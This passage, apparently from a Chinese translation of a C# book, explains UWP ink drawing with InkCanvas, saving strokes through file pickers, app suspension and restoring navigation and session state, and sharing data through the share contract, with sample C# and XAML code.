使用笔和墨水很容易通过UWP应用程序与新InkCanvas控件获得支持。这个控件支持 使用钢笔、触摸屏和鼠标进行绘图,它还支持检索所有创建的笔触,允许保存这些信息。 为了支持绘图,只需要添加一个InkCanvas控件(代码文件 ControlsSamples/Views/InkSample. xaml): <Grid Background="{ThemeResource ApplicationPageBackgroundThemeBrush}"> <InkCanvas x:Name="inkCanvas" /> </Grid> 默认情况下,InkCanvas控件配置为支持钢笔。还可以定义它,通过设置InkPresenter 的InputDevicesType属性来支持鼠标和触摸屏(代码文件ControlsSamples / Views / InkSample.xaml.cs): public InkSample() { this.InitializeComponent(); inkCanvas.InkPresenter.InputDeviceTypes = CoreInputDeviceTypes.Mouse | CoreInputDeviceTypes.Touch | CoreInputDeviceTypes.Pen; ColorSelection = new ColorSelection(inkCanvas); } public ColorSelection ColorSelection { get; } 有了InkCanvas,就可以使用输入设备,用黑笔创建相同的图。本章前面定义命令 时,把几个AppBarToggleButton控件添加到CommandBar中。现在这些按钮用来控制墨水 的颜色。ColorSelection类是一个辅助类,绑定了AppBarToggleButton控件的选项。Red、 Green和Blue属性由AppBarToggleButton控件的IsChecked属性绑定。ColorSelection的构造 函数接收InkCanvas的实例。这样,InkCanvas控件就可以用来修改绘图特性(代码文件 ControlsSamples/Utilities/ColorSelection.cs): public class ColorSelection : BindableBase { public ColorSelection(InkCanvas inkCanvas) { _inkCanvas = inkCanvas; Red = false; Green = false; Blue = false; } private InkCanvas _inkCanvas; private bool? _red; public bool? Red { get { return _red; } set { SetColor(ref _red, value); } } private bool? _green; public bool? Green { get { return _green; } set { SetColor(ref _green, value); } } private bool? _blue; public bool? Blue { get { return _blue; } set { SetColor(ref _blue, value); } } // etc. } 墨水颜色的变化以及笔的形式和大小在SetColor方法中处理。InkCanvas的现有绘图特 性可以使用CopyDefaultDrawingAttributes和InkPresenter检索。 UpdateDefaultDrawingAttributes方法设置InkCanvas的绘图特性。ColorSelection类的Red、 Green和Blue属性用来创建颜色(代码文件ControlsSamples / Utilities / ColorSelection.cs): public class ColorSelection : BindableBase { // etc. public void SetColor(ref bool? item, bool? value) { SetProperty(ref item, value); InkDrawingAttributes defaultAttributes = _inkCanvas.InkPresenter.CopyDefaultDrawingAttributes(); defaultAttributes.PenTip = PenTipShape.Rectangle; defaultAttributes.Size = new Size(3, 3); defaultAttributes.Color = new Windows.UI.Color() { A = 255, R = Red == true ? (byte)0xff : (byte)0, G = Green == true ? (byte)0xff : (byte)0, B = Blue == true ? (byte)0xff : (byte)0 }; _inkCanvas.InkPresenter.UpdateDefaultDrawingAttributes( defaultAttributes); } } 运行应用程序时,如图32-29所示,很容易使用钢笔创建一个图形。如果没有笔,也 可以在触摸设备上使用手指或使用鼠标,因为已经相应地配置了InputDeviceTypes属性。 图32-29 32.6.4 读写笔触的选择器 如前所述,InkCanvas控件还支持访问创建好的笔触。这些笔触在下面的示例中使 用,并存储在一个文件中。使用FileSavePicker选中文件。单击之前创建的Save AppBarButton时,调用方法OnSave。FileSavePicker是SaveFileDialog的UWP变体。在 Windows 8中,这个选择器是满屏显示,但现在在UWP中,它可以包含在小窗口中,这个 选择器也发生了变化。 首先,配置FileSavePicker,给它指定开始位置、文件类型扩展名和文件名。至少需 要添加一个文件类型选项,以允许用户选择文件类型。调用方法PickSaveFileAsync,要求 用户选择一个文件。这个文件通过调用OpenTransactedWriteAsync方法打开来写入事务。 InkCanvas的笔触存储在InkPresenter的StrokeContainer中。使用SaveAsync方法,笔触可直 接保存到流中(代码文件ControlsSamples / Views / InkSample.xaml.cs): private const string FileTypeExtension = ".strokes"; public async void OnSave() { var picker = new FileSavePicker { SuggestedStartLocation = PickerLocationId.PicturesLibrary, DefaultFileExtension = FileTypeExtension, SuggestedFileName = "sample" }; picker.FileTypeChoices.Add("Stroke File", new List<string>() { FileTypeExtension }); StorageFile file = await picker.PickSaveFileAsync(); if (file ! = null) { using (StorageStreamTransaction tx = await file.OpenTransactedWriteAsync( )) { await inkCanvas.InkPresenter.StrokeContainer.SaveAsync (tx.Stream); await tx.CommitAsync(); } } }  注意: 使用FileOpenPicker和FileSavePicker读写流,参见第23章。 运行应用程序时,可以打开FileSavePicker,如图32-30所示。 图32-30 为了加载文件,要使用FileOpenPicker、StrokeContainer和LoadAsync方法: public async void OnLoad() { var picker = new FileOpenPicker { SuggestedStartLocation = PickerLocationId.PicturesLibrary }; picker.FileTypeFilter.Add(FileTypeExtension); StorageFile file = await picker.PickSingleFileAsync(); if (file ! = null) { using (var stream = await file.OpenReadAsync()) { await inkCanvas.InkPresenter.StrokeContainer.LoadAsync (stream); } } }  注意: 下一章讨论了更多的控件,阐述了协定和传感器。Map控件最适合用 于全球定位系统(GPS),这个控件参见第33章。 32.7 小结 本章介绍了编写UWP应用程序的许多不同方面。XAML非常类似于编写WPF应用程 序,如前一章所述。 本章讨论了如何处理不同的屏幕尺寸。探讨了汉堡按钮如何与SplitView一起,提供 更大或更小的导航菜单,RelativePanel如何与自适应触发器一起工作。还简述了XAML视 图。 我们了解了如何使用延迟加载和已编译的绑定来改进性能。也介绍了新的控件,比如 AutoSuggest控件和InkCanvas控件。 第33章提供了Windows应用程序的更多信息,包括协定和传感器,更多的控件(如 Map控件)和后台服务。 第33章 高级Windows应用程序 本章要点 ● 应用程序生命周期 ● 共享数据 ● 使用应用程序服务 ● 创建一个后台任务 ● 使用相机 ● 获取地理位置信息 ● 使用MapControl ● 使用传感器 本章源代码下载地址(wrox.com): 打开网页http://www.wrox.com/go/professionalcsharp6,单击Download Code选项卡即可 下载本章源代码。本章的代码只包含一个大示例,它展示了本章的各个方面: ● 应用程序生命周期示例(AppLifetime Sample) ● 共享示例(Sharing Samples) ● 应用程序服务(AppServices) ● 相机示例(Camera Sample) ● 地图示例(Map Sample) ● 传感器示例(Sensor Sample) ● 旋转的钢珠(Rolling Marble) 33.1 概述 前一章介绍了Universal Windows Platform(UWP)应用程序的用户界面(UI)元素。 本章继续讨论UWP应用程序特定的几个方面,UWP应用程序的生命周期管理不同于桌面 应用程序,用共享协定创建共享源和目标应用程序,在应用程序之间共享数据。使用许多 不同的设备和传感器,例如用相机拍照、录制视频、获得用户的位置信息、使用几个传感 器(例如加速计和倾斜计)获得用户如何移动设备的信息。 下面先讨论Windows应用程序的生命周期,它非常不同于桌面应用程序的生命周期。 33.2 应用程序的生命周期 Windows 8为应用程序引入了一个新的生命周期,完全不同于桌面应用程序的生命周 期。在Windows 8.1中有些变化,在Windows 10中又有一些变化。如果使用Windows10和 平板电脑模式,应用程序的生命周期与桌面模式是不同的。在平板电脑模式中,应用程序 通常全屏显示。分离键盘(对于平板电脑设备,如Microsoft Surface),或在Action Center 中使用Tablet Mode按钮,可以自动切换到平板模式。在平板模式下运行应用程序时,如 果应用程序进入后台(用户切换到另一个应用程序),就会暂停,它不会得到任何更多的 CPU利用率。这样,应用程序不消耗任何电力。应用程序在后台时,只使用内存,一旦用 户切换到这个应用程序,应用程序就再次激活。 当内存资源短缺时,Windows可以终止暂停应用程序的进程,从而终止该应用程序。 应用程序不会收到任何消息,所以不能对此事件做出反应。因此,应用程序应该在进入暂 停模式前做一些处理工作,保存其状态。等到应用程序终止时进行处理就晚了。 当收到暂停事件时,应用程序应该将其状态存储在磁盘上。如果再次启动应用程序, 应用程序可以显示给用户,好像它从未终止。只需要把页面堆栈的信息存储到用户退出的 页面上,恢复页面堆栈,并把字段初始化为用户输入的数据,就允许用户返回。 本节的示例应用程序ApplicationLifetimeSample就完成这个任务。在这个程序中,允 许在多个页面之间的导航,可以输入状态。应用程序暂停时,存储页面堆栈和状态,在启 动应用程序时恢复它们。 33.3 应用程序的执行状态 应用程序的状态使用ApplicationExecutionState枚举定义。该枚举定义了NotRunning、 Running、Suspended、Terminated和ClosedByUser状态。应用程序需要知道并存储自己的 状态,因为用户在返回应用程序时希望继续原来的操作。 在App类的OnLaunched方法中,可以使用LauchActivatedEventArgs参数的 PreviousExecutionState属性获取应用程序的前一个执行状态。如果应用程序是在安装后第 一次启动,在重启计算机后启动,或者用户上一次在任务管理器中终止了其进程,那么该 应用程序的前一个状态是NotRunning。如果用户单击应用程序的图标时应用程序已经激 活,或者应用程序通过某个激活契约激活,则其前一个执行状态为Running。如果应用程 序被暂停,那么激活它时PreviousExecutionState属性会返回Suspended。一般来说,在这种 情况中不需要执行什么特殊操作。因为状态仍在内存中可用。在暂停状态下,应用程序不 使用CPU循环,也没有磁盘访问。  注意: 应用程序可以实现一个或多个协定,然后用其中一个协定激活应用程 序。这类协定的一个例子是共享。使用这个协定,用户可以共享另一个应用程序中的 一些数据,并使用它作为共享目标,启动一个UWP应用程序。实现共享协定参见本章 的“共享数据”一节。 在页面之间导航 展示Windows应用程序生命周期的示例应用程序(ApplicationLifetimeSample)从 Blank App模板开始。创建项目后,添加页面Page1和Page2,实现页面之间的导航。 在MainPage中,添加两个按钮控件来导航Page2和Page1,再添加两个文本框控件,在 导航时传递数据(代码文件ApplicationLifetimeSample / MainPage.xaml): <Button Content="Page 1" Click="{x:Bind GotoPage1}" Grid.Row="0" /> <TextBox Text="{x:Bind Parameter1, Mode=TwoWay}" Grid.Row="0" Grid.Column="1" /> <Button Content="Page 2" Click="{x:Bind GotoPage2}" Grid.Row="1" /> <TextBox Text="{x:Bind Parameter2, Mode=TwoWay}" Grid.Row="1" Grid.Column="1" /> 后台代码文件包含事件处理程序、Page1和Page2的导航代码,以及参数的属性(代码 文件ApplicationLifetimeSample / MainPage.xaml.cs): public void GotoPage1() { Frame.Navigate(typeof(Page1), Parameter1); } public string Parameter1 { get; set; } public void GotoPage2() { Frame.Navigate(typeof(Page2), Parameter2); } public string Parameter2 { get; set; } Page1的UI元素显示在导航到这个页面时接收到的数据,允许用户导航到Page2的按 钮,以及允许用户输入一些状态信息的一个文本框,应用程序终止时会保存这些状态信息 (代码文件Application LifetimeSample / Page1.xaml): <TextBlock FontSize="30" Text="Page 1" /> <TextBlock Grid.Row="1" Text="{x:Bind ReceivedContent, Mode=OneTime}" /> <TextBox Grid.Row="2" Text="{x:Bind Parameter1, Mode=TwoWay}" /> <Button Grid.Row="3" Content="Navigate to Page 2" Click="{x:Bind GotoPage2, Mode=OneTime}" /> 类似于MainPage, Page1的导航代码为导航时传递的数据定义了一个自动实现的属性, 和实现导航到Page2的一个事件处理程序(代码文件ApplicationLifetimeSample / Page1.xaml.cs): public void GotoPage2() { Frame.Navigate(typeof(Page2), Parameter1); } public string Parameter1 { get; set; } 在后台代码文件中,导航参数在OnNavigatedTo方法的重写版本中接收。接收到的参 数分配给自动实现属性ReceivedContent(代码文件ApplicationLifetimeSample / Page1.xaml.cs): protected override void OnNavigatedTo(NavigationEventArgs e) { base.OnNavigatedTo(e); //... ReceivedContent = e.Parameter? .ToString() ? ? string.Empty; Bindings.Update(); } public string ReceivedContent { get; private set; } 在导航的实现代码中,Page2非常类似于Page1,所以这里不重复它的实现。 使用第32章介绍的系统后退按钮,这里,后退按钮的可见性和处理程序在类 BackButtonManager中定义。如果框架实例的CanGoBack属性返回true,那么构造函数的实 现代码使后退按钮可见。如果堆栈可用,就实现OnBackRequested方法,返回页面堆栈 (代码文件ApplicationLifetimeSample/Utilities/ BackButtonManager.cs): public class BackButtonManager: IDisposable { private SystemNavigationManager _navigationManager; private Frame _frame; public BackButtonManager(Frame frame) { _frame = frame; _navigationManager = SystemNavigationManager.GetForCurrentView(); _navigationManager.AppViewBackButtonVisibility = frame.CanGoBack ? AppViewBackButtonVisibility.Visible: AppViewBackButtonVisibility.Collapsed; _navigationManager.BackRequested += OnBackRequested; } private void OnBackRequested(object sender, BackRequestedEventArgs e) { if (_frame.CanGoBack) _frame.GoBack(); e.Handled = true; } public void Dispose() { _navigationManager.BackRequested -= OnBackRequested; } } 在所有的页面中,通过在OnNavigatedTo方法中传递Frame来实例化 BackButtonManager,它在OnNavigatedFrom方法中销毁(代码文件 ApplicationLifetimeSample / MainPage.xaml.cs): private BackButtonManager _backButtonManager; protected override void OnNavigatedTo(NavigationEventArgs e) { base.OnNavigatedTo(e); _backButtonManager = new BackButtonManager(Frame); } protected override void OnNavigatingFrom(NavigatingCancelEventArgs e) { base.OnNavigatingFrom(e); _backButtonManager.Dispose(); } 有了所有这些代码,用户可以在3个不同的页面之间后退和前进。下一步需要记住页 面和页面堆栈,把应用程序导航到用户最近一次访问的页面上。 33.4 导航状态 为了存储和加载导航状态,类NavigationSuspensionManager定义了方法 SetNavigationStateAsync和GetNavigationStateAsync。导航的页面堆栈可以在字符串中表 示。这个字符串写入本地缓存文件中,用一个常数给它命名。如果应用程序以前运行时文 件已经存在,就覆盖它。不需要记住应用程序多次运行之间的页面导航(代码文件 ApplicationLifetimeSample/Utilities/NavigationSuspensionManager.cs): public class NavigationSuspensionManager { private const string NavigationStateFile = "NavigationState.txt"; public async Task SetNavigationStateAsync(string navigationState) { StorageFile file = await ApplicationData.Current.LocalCacheFolder.CreateFileAsync( NavigationStateFile, CreationCollisionOption.ReplaceExisting); Stream stream = await file.OpenStreamForWriteAsync(); using (var writer = new StreamWriter(stream)) { await writer.WriteLineAsync(navigationState); } } public async Task<string> GetNavigationStateAsync() { Stream stream = await ApplicationData.Current.LocalCacheFolder.OpenStreamForReadAsync( NavigationStateFile); using (var reader = new StreamReader(stream)) { return await reader.ReadLineAsync(); } } }  注意: NavigationSuspensionManager类利用Windows运行库API和.NET的 Stream类读写文件的内容。这两个功能详见第23章。 33.4.1 暂停应用程序 为了在暂停应用程序时保存状态,在OnSuspending事件处理程序中设置App类的 Suspending事件。当应用程序进入暂停模式时触发事件(代码文件 ApplicationLifetimeSample / App.xaml.cs): public App() { this.InitializeComponent(); this.Suspending += OnSuspending; } OnSuspending是一个事件处理程序方法,因此声明为返回void。这有一个问题。只要 方法完成,应用程序就可以终止。然而,因为方法声明为void,所以不可能等待方法完 成。因此,收到的SuspendingEventArgs参数定义了一个SuspendingDeferral,通过调用 GetDeferral方法可以检索它。一旦完成代码的异步功能,需要调用Complete方法来延迟。 这样,调用者知道方法已完成,应用程序可以终止(代码文件ApplicationLifetimeSample / App.xaml.cs): private async void OnSuspending(object sender, SuspendingEventArgs e) { var deferral = e.SuspendingOperation.GetDeferral(); //... deferral.Complete(); }  注意: 异步方法参见第15章。 在OnSuspending方法的实现中,页面堆栈写入临时缓存。使用Frame的BackStack属性 可以在页面堆栈上检索页面。这个属性返回PageStackEntry对象的列表,其中每个实例代 表类型、导航参数和导航过渡信息。为了用SetNavigationStateAsync方法存储页面跟踪, 只需要一个字符串,其中包含完整的页面堆栈信息。这个字符串可以通过调用Frame的 GetNavigationState方法来检索(代码文件ApplicationLifetimeSample/App.xaml.cs): private async void OnSuspending(object sender, SuspendingEventArgs e) { var deferral = e.SuspendingOperation.GetDeferral(); var frame = Window.Current.Content as Frame; if (frame? .BackStackDepth >= 1) { var suspensionManager = new NavigationSuspensionManager(); string navigationState = frame.GetNavigationState(); if (navigationState ! = null) { await suspensionManager.SetNavigationStateAsync(navigationState); } } //... deferral.Complete(); } 在Windows 8中,在应用程序终止前,只暂停几秒钟。在Windows 10中,可以延长这 个时间,以进行网络调用,从服务中检索数据,给服务上传数据,或跟踪位置。为此,只 需要在OnSuspending方法内创建一个ExtendedExecutionSession,设置理由,比如 ExtendedExecutionReason.SavingData。调用RequestExecutionAsync来请求扩展。只要没有 拒绝延长应用程序的执行,就可以继续扩展的任务。 33.4.2 激活暂停的应用程序 GetNavigationState返回的字符串用逗号分隔,列出了页面堆栈的完整信息,包括类型 信息和参数。不应该解析字符串,获得其中的不同部分,因为在Windows运行库的更新实 现中,这可能会改变。仅仅使用这个字符串恢复状态,用SetNavigationState恢复页面堆栈 是可行的。如果字符串格式在未来的版本中有变化,这两个方法也会改变。 在启动应用程序时,为了设置页面堆栈,需要更改OnLaunched方法。这个方法在 Application基类中重写,在启动应用程序时调用。参数LaunchActivatedEventArgs给出了应 用程序启动方式的信息。Kind属性返回一个ActivationKind枚举值,通过它可以读取应用 程序的启动方式:由用户单击磁贴,启动一个语音命令,或在Windows中启动,例如把它 启动为一个共享目标。这个场景需要PreviousExecutionState,它返回一个 ApplicationExecutionState枚举值,来提供之前应用程序结束方式的信息。如果应用程序用 ClosedByUser值结束,就不需要特殊操作;应用程序应重新开始。然而,如果应用程序之 前是被终止的,PreviousExecutionState就包含Terminated值。这个状态可用于将应用程序 返回到之前用户退出时的状态。这里,页面堆栈从NavigationSuspensionManager中检索, 给方法SetNavigationState传递以前保存的字符串,来设置根框架(代码文件 ApplicationLifetimeSample /App.xaml.cs): protected override async void OnLaunched(LaunchActivatedEventArgs e) { Frame rootFrame = Window.Current.Content as Frame; if (rootFrame == null) { rootFrame = new Frame(); rootFrame.NavigationFailed += OnNavigationFailed; if (e.PreviousExecutionState == ApplicationExecutionState.Terminated) { var suspensionManager = new NavigationSuspensionManager(); string navigationState = await suspensionManager.GetNavigationStateAsync(); rootFrame.SetNavigationState(navigationState); // etc. } // Place the frame in the current Window Window.Current.Content = rootFrame; } if (rootFrame.Content == null) { rootFrame.Navigate(typeof(MainPage), e.Arguments); } Window.Current.Activate(); } 33.4.3 测试暂停 现在启动该应用程序(参见图33-1),导航到另一个页面,然后打开另一个应用程 序,并等待前一个应用程序终止。如果将Status Values选项设为“Show Suspended Status”, 可以在任务管理器的Details视图中看到暂停的应用程序。但是,在测试暂停时,这不是一 个简单的方法(因为应用程序可能在很久之后才暂停),但可以调试不同的状态。 图33-1 使用调试器则不同。如果应用程序一旦失去焦点就会暂停,那么每到达一个断点就会 暂停,因此在调试器中运行时,暂停是被禁用的,正常的暂停机制不会起作用。但是,模 拟暂停很容易。打开Debug Location工具栏,可以看到3个按钮:Suspend、Resume和 Suspend and shutdown(参见图33-2)。如果选择Suspend and shutdown,然后再次启动应 用程序,那么应用程序将从前一个状态ApplicationExecutionState.Terminated继续运行,因 此会打开用户之前打开的页面。 图33-2 33.4.4 页面状态 用户输入的任何数据也应该恢复。为了进行演示,在Page1上创建两个输入字段(代 码文件ApplicationLifetimeSample/Page1.xaml): <TextBox Header="Session State 1" Grid.Row="4" Text="{x:Bind Data.Session1, Mode=TwoWay}" /> <TextBox Header="Session State 2" Grid.Row="5" Text="{x:Bind Data.Session2, Mode=TwoWay}" /> 这个输入字段的数据表示由DataManager类定义,从Data属性中返回,如下面的代码 片段所示(代码文件ApplicationLifetimeSample / Page1.xaml.cs): public DataManager Data { get; } = DataManager.Instance; DataManager类定义了属性Session1和Session2,其值存储在Dictionary中(代码文件 Application-LifetimeSamlple / Services / DataManager.cs): public class DataManager: INotifyPropertyChanged { private const string SessionStateFile = "TempSessionState.json"; private Dictionary<string, string> _state = new Dictionary<string, string >() { [nameof(Session1)] = string.Empty, [nameof(Session2)] = string.Empty }; private DataManager() { } public event PropertyChangedEventHandler PropertyChanged; protected void OnPropertyChanged( [CallerMemberName] string propertyName = null) { PropertyChanged? .Invoke(this, new PropertyChangedEventArgs(propertyNam e)); } public static DataManager Instance { get; } = new DataManager(); public string Session1 { get { return _state[nameof(Session1)]; } set { _state[nameof(Session1)] = value; OnPropertyChanged(); } } public string Session2 { get { return _state[nameof(Session2)]; } set { _state[nameof(Session2)] = value; OnPropertyChanged(); } } 为了加载和存储会话状态,定义了SaveTempSessionAsync和LoadTempSessionAsync方 法。其实现代码使用Json.Net把字典序列化为JSON格式。但是,可以使用任何序列化(代 码文件ApplicationLifetimeSample / Services / DataManager.cs): public async Task SaveTempSessionAsync() { StorageFile file = await ApplicationData.Current.LocalCacheFolder.CreateFileAsync( SessionStateFile, CreationCollisionOption.ReplaceExisting); Stream stream = await file.OpenStreamForWriteAsync(); var serializer = new JsonSerializer(); using (var writer = new StreamWriter(stream)) { serializer.Serialize(writer, _state); } } public async Task LoadTempSessionAsync() { Stream stream = await ApplicationData.Current.LocalCacheFolder.OpenStreamForReadAsync( SessionStateFile); var serializer = new JsonSerializer(); using (var reader = new StreamReader(stream)) { string json = await reader.ReadLineAsync(); Dictionary<string, string> state = JsonConvert.DeserializeObject<Dictionary<string, string>>(json); _state = state; foreach (var item in state) { OnPropertyChanged(item.Key); } } }  注意: XML和JSON的序列化参见第27章。 剩下的就是调用SaveTempSessionAsync和LoadTempSessionAsync方法,暂停、激活应 用程序。这些方法添加到OnSuspending和OnLaunched方法中读写页面堆栈的地方(代码 文件Application-LifetimeSample / App.xaml.cs): private async void OnSuspending(object sender, SuspendingEventArgs e) { var deferral = e.SuspendingOperation.GetDeferral(); //... await DataManager.Instance.SaveTempSessionAsync(); deferral.Complete(); } protected override async void OnLaunched(LaunchActivatedEventArgs e) { Frame rootFrame = Window.Current.Content as Frame; if (rootFrame == null) { rootFrame = new Frame(); rootFrame.NavigationFailed += OnNavigationFailed; if (e.PreviousExecutionState == ApplicationExecutionState.Terminated) { //... await DataManager.Instance.LoadTempSessionAsync(); } // Place the frame in the current Window Window.Current.Content = rootFrame; } if (rootFrame.Content == null) { rootFrame.Navigate(typeof(MainPage), e.Arguments); } Window.Current.Activate(); } 现在,可以运行应用程序,在Page2中输入状态,暂停和终止程序,再次启动它,再 次显示状态。 在应用程序的生命周期中,需要为UWP应用程序进行特殊的编程,以考虑电池的耗 费。下一节讨论在应用程序间共享数据,这也可以用于手机平台。 33.5 共享数据 如果应用程序提供与其他应用程序的交互,就会更有用。在Windows 10中,应用程 序可以使用拖放操作共享数据,甚至桌面应用程序也这样做。在Windows应用程序之间, 也可以使用共享协定分享数据。 使用共享协定时,一个应用程序(共享源)可以用许多不同的格式共享数据,例如文 本、HTML、图片或自定义数据,用户可以选择接收数据格式的应用程序,作为共享目 标。Windows使用安装时应用程序注册的协定,找到支持相应数据格式的应用程序。 33.5.1 共享源 关于共享,首先要考虑的是确定哪些数据以何种格式共享。可以共享简单文本、富文 本、HTML和图像,也可以共享自定义类型。当然,其他应用程序(即共享目标)必须知 道且能使用所有这些类型。对于自定义类型,只有知道该类型且是该类型的共享目标的应 用程序才能共享它。示例应用程序提供了文本格式的数据和HTML格式的图书列表。 为了用HTML格式提供图书信息,定义了一个简单的Book类(代码文件SharingSource \ Models\ Book.cs): public class Book { public string Title { get; set; } public string Publisher { get; set; } } Book对象列表从BooksRepository类的GetSampleBooks方法中返回(代码文件 SharingSource \Models \ BooksRepository.cs): public class BooksRepository { public IEnumerable<Book> GetSampleBooks() => new List<Book>() { new Book { Title = "Professional C# 6 and .NET 5 Core", Publisher = "Wrox Press" }, new Book { Title = "Professional C# 5.0 and .NET 4.5.1", Publisher = "Wrox Press" } }; } 要把Book对象列表转换为HTML,扩展ToHtml方法通过LINQ to XML返回一个HTML 表(代码文件SharingSource \ Utilities\ BooksExtensions.cs): public static class BookExtensions { public static string ToHtml(this IEnumerable<Book> books) => new XElement("table", new XElement("thead", new XElement("tr", new XElement("td", "Title"), new XElement("td", "Publisher"))), books.Select(b => new XElement("tr", new XElement("td", b.Title), new XElement("td", b.Publisher)))).ToString(); }  注意: LINQ to XML参见第27章。 在MainPage中定义了一个按钮,用户可以通过它启动共享,再定义一个文本框控 件,供用户输入要共享的文本数据(代码文件SharingSource \ MainPage.xaml): <RelativePanel Margin="24"> <Button x:Name="shareDataButton" Content="Share Data" Click="{x:Bind DataSharing.ShowShareUI, Mode=OneTime}" Margin="12" /> <TextBox RelativePanel.RightOf="shareDataButton" Text="{x:Bind DataSharing.SimpleText, Mode=TwoWay}" Margin="12" /> </RelativePanel> 在后台代码文件中,DataSharing属性返回ShareDataViewModel,其中实现了所有重要 的分享功能(代码文件SharingSource \ MainPage.xaml.cs): public ShareDataViewModel DataSharing { get; set; } = new ShareDataViewModel(); ShareDataViewModel定义了XAML文件绑定的属性SimpleText,用于输入要共享的简 单文本。对于分享,把事件处理程序方法ShareDataRequested分配给DataTransferManager 的事件DataRequested。用户请求共享数据时,触发这个事件(代码文件 SharingSource\ViewModels\ ShareDataViewModel.cs): public class ShareDataViewModel { public ShareDataViewModel() { DataTransferManager.GetForCurrentView().DataRequested += ShareDataRequested; } public string SimpleText { get; set; } = string.Empty; //... 当触发事件时,调用OnShareDataRequested方法。这个方法接收DataTransferManager 作为第一个参数,DataRequestedEventArgs作为第二个参数。在共享数据时,需要填充 args.Request.Data引用的DataPackage。可以使用Title、Description和Thumbnail属性给用户 界面提供信息。应共享的数据必须用一个SetXXX方法传递。示例代码分享一个简单的文 本和HTML代码,因此使用方法SetText和SetHtmlFormat。HtmlFormatHelper类帮助创建需 要共享的HTML代码。图书的HTML代码用前面的扩展方法ToHtml创建(代码文件 SharingSource\ViewModels\ShareDataViewModel.cs): private void ShareDataRequested(DataTransferManager sender, DataRequestedEventArgs args) { var books = new BooksRepository().GetSampleBooks(); Uri baseUri = new Uri("ms-appx:///"); DataPackage package = args.Request.Data; package.Properties.Title = "Sharing Sample"; package.Properties.Description = "Sample for sharing data"; package.Properties.Thumbnail = RandomAccessStreamReference.CreateFromUri( new Uri(baseUri, "Assets/Square44x44Logo.png")); package.SetText(SimpleText); package.SetHtmlFormat(HtmlFormatHelper.CreateHtmlFormat(books.ToHtml())); } 如果需要共享操作何时完成的信息,例如从源应用程序中删除数据,DataPackage类 就触发OperationCompleted和Destroyed事件。  注意: 除了提供文本或HTML代码之外,其他方法,比如SetBitmap、SetRtf 和SetUri,也可以提供其他数据格式。  注意: 如果需要在ShareDataRequested方法中使用异步方法构建要共享的数 据,需要使用一个延期,在数据可用时提供信息。这类似于本章前面介绍的页面暂停 机制。使用DataRequestedEventArgs类型的Request属性,可以调用GetDeferral方法。这 个方法返回一个DataRequestedDeferral类型的延期。使用这个对象,可以在数据可用时 调用Complete方法。 最后,需要显示分享的用户界面。这允许用户选择目标应用程序: public void ShowShareUI() { DataTransferManager.ShowShareUI(); } 图33-3展示了调用DataTransferManager的ShowShareUI方法后的用户界面。根据所提 供的数据格式和安装的应用程序,显示相应的应用程序,作为选项。 图33-3 如果选择Mail应用,就传递HTML信息。图33-4显示在这个程序中接收的数据。 图33-4  注意: 在Windows 8中,用户可以使用功能区开始共享应用程序中的数据。 这样,如果数据不可用于分享,就一定要给用户提供信息,说明分享需要做什么工 作,例如,首先选择一项或者输入一些数据。可以返回这些错误信息,在 DataRequestedEventArgs类型的Request属性上调用方法FailWithDisplayText。在Windows 10中,需要显式地提供一个可见的控件(例如按钮),用户可以开始共享。如果没有 数据可用来分享,就不提供这个可见的控件。 33.5.2 共享目标 现在看看共享内容的接收者。如果应用程序应从共享源中接收信息,就需要将其声明 为共享目标。图33-5显示了清单设计器在Visual Studio中的Declarations页面,在其中可以 定义共享目标。在这里添加Share Target声明,它至少要包含一种数据格式。可能的数据 格式是Text、URI、Bitmap、HTML、StorageItems或RTF。还可以添加文件扩展名,以指 定应支持哪些文件类型。 图33-5 在注册应用程序时,要使用软件包清单中的信息。这告诉Windows,哪些应用程序可 用作共享目标。示例应用程序SharingTarget为Text和HTML定义了共享目标。 用户把应用程序启动为共享目标时,就在App类中调用OnShareTargetActivated方法, 而不是OnLaunched方法。这里创建另一个页面(ShareTargetPage),显示用户选择这款应 用程序作为共享目标时的屏幕(代码文件SharingTarget / App.xaml.cs): protected override void OnShareTargetActivated(ShareTargetActivatedEventArgs args) { Frame rootFrame = CreateRootFrame(); rootFrame.Navigate(typeof(ShareTargetPage), args.ShareOperation); Window.Current.Activate(); } 为了不在两个不同的地方创建根框架,应该重构OnLaunched方法,把框架创建代码 放在一个单独的方法CreateRootFrame中。这个方法现在在OnShareTargetActivated和 OnLaunched中调用: private Frame CreateRootFrame() { Frame rootFrame = Window.Current.Content as Frame; if (rootFrame == null) { rootFrame = new Frame(); rootFrame.NavigationFailed += OnNavigationFailed; Window.Current.Content = rootFrame; } return rootFrame; } OnLaunched方法的变化如下所示。与OnShareTargetActivated相反,这个方法导航到 MainPage: protected override void OnLaunched(LaunchActivatedEventArgs e) { Frame rootFrame = CreateRootFrame(); if (rootFrame.Content == null) { rootFrame.Navigate(typeof(MainPage), e.Arguments); } Window.Current.Activate(); } ShareTargetPage包含控件,用户可以在其中看到共享数据的信息,如标题和描述,还 包括一个组合框,显示了用户可以选择的可用数据格式(代码文件SharingTarget / ShareTargetPage.xaml): <StackPanel Orientation="Vertical"> <TextBlock Text="Share Target Page" /> <TextBox Header="Title" IsReadOnly="True" Text="{x:Bind ViewModel.Title, Mode=OneWay}" Margin="12" /> <TextBox Header="Description" IsReadOnly="True" Text="{x:Bind ViewModel.Description, Mode=OneWay}" Margin="12" /> <ComboBox ItemsSource="{x:Bind ViewModel.ShareFormats, Mode=OneTime}" SelectedItem="{x:Bind ViewModel.SelectedFormat, Mode=TwoWay}" Margin="12" /> <Button Content="Retrieve Data" Click="{x:Bind ViewModel.RetrieveData, Mode=OneTime}" Margin="12" /> <Button Content="Report Complete" Click="{x:Bind ViewModel.ReportCompleted, Mode=OneTime}" Margin="12" /> <TextBox Header="Text" IsReadOnly="True" Text="{x:Bind ViewModel.Text, Mode=OneWay}" Margin="12" /> <TextBox AcceptsReturn="True" IsReadOnly="True" Text="{x:Bind ViewModel.Html, Mode=OneWay}" Margin="12" /> </StackPanel> 在后台代码文件中,把ShareTargetPageViewModel分配给ViewModel属性。在前面的 XAML代码中,这个属性使用了编译绑定。另外在OnNavigatedTo方法中,把 ShareOperation对象传递给Activate方法,激活SharedTargetPageViewModel (代码文件 SharingTarget / ShareTargetPage.xaml.cs): public sealed partial class ShareTargetPage: Page { public ShareTargetPage() { this.InitializeComponent(); } public ShareTargetPageViewModel ViewModel { get; } = new ShareTargetPageViewModel(); protected override void OnNavigatedTo(NavigationEventArgs e) { ViewModel.Activate(e.Parameter as ShareOperation); base.OnNavigatedTo(e); } } 类ShareTargetPageViewModel为应该显示在页面中的值定义了属性,还实现 INotifyProperty-Changed接口,为更改通知定义了属性(代码文件 